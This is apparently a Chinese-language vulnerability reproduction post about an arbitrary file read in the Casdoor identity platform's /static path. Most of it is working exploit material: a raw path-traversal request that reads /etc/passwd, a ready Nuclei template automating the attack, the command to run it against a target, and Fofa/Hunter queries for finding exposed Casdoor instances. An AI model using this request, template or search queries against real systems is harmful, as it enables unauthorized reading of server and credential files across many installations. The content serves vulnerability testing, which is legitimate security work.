漏洞介绍

Casdoor系统static存在任意文件读取漏洞

漏洞描述

Casdoor是一个基于OAuth 2.0、OIDC、SAML 和 CAS 的,UI-first的身份和访问管理(IAM)/单点登录(SSO)平台。使用 Go 和react开发,前后端分离,内置第三方应用登录服务。

资产测绘Query

Fofa:title:”Casdoor”
Hunter:web.title=”Casdoor”

漏洞复现

GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1

【漏洞复现】Casdoor-任意文件读取

【漏洞复现】Casdoor-任意文件读取

【Nuclei-Poc】

id: template-id

info:
  name: Template Name
  author: xxx
  severity: info
  description: description
  reference:
    - https://
  tags: tags

requests:
  - raw:
      - |+
        GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - root
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:[x*]:0:0"

验证

nuclei.exe -duc -u http://target.com -t C:\Users\xxx\nuclei-templates\Casdoor-demo.yaml -debug

【漏洞复现】Casdoor-任意文件读取1

【漏洞复现】Casdoor-任意文件读取1